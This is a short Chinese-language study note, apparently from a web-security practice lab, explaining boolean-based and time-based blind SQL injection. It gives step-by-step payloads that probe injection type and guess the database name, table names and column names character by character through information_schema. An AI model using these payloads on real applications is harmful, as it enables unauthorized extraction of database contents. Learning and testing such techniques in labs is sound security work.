布尔盲注:通过返回消息的对错进行判断
- If(判断内容,正确返回结果,错误返回结果) 可以替换成 case 判断内容 when 正确返回结果 then 错误返回结果 end
- substr(要输出的内容,开始输出的位置,输出内容的大小) 可以替换成 left(要提取的内容,从左往右多少个)或 right(要提取的内容,从左往右多少个)
- Ascii()、ord()可以进行ASCII码值转换
总而言之就是猜,猜对有回显信息,猜错报错。与报错注入不同的是,该注入所报错内容只是简单说你错了,但是不会具体说哪里错了。所以报错注入方法不可用
1、判断是什么类型的注入(数值型和字符型)
1' and 1=1 #
1 and 1=1 #
2、判断数据库长度
lili' and length(database())=7#'
3、猜数据库的名称(二分法猜,或使用工具burp suite进行爆破)
lili' and if(substr(database(),2,1)='i',1,0)#
具体的爆破手法看bp软件的介绍
4、猜该数据库有几个表、获取表名的长度、猜表名
lili' and (select count(table_name) from information_schema.TABLES where table_schema=database())=5#
lili' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=8 #
lili' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='h',1,0)
5、获取字段数量、获取字段长度、猜字段名
select * from member where username='lili' and (select count(column_name) from information_schema.COLUMNS where table_name='httpinfo')=6#
select * from member where username='lili' and length(substr((select column_name from information_schema.COLUMNS where table_name='httpinfo' limit 0,1),1))=2 #
select * from member where username='lili' and if(substr((select column_name from information_schema.COLUMNS where table_name='httpinfo' limit 0,1),1,1)='i',1,0) #
6、获取字段下的数据数量、数据长度、数据
(原理一样)
时间盲注:通过
- sleep():让语句延迟执行一段时间
- benchmark():让语句执行一定的次数
(步骤流程和布尔盲注类似,只不过是将正确返回改成延迟执行)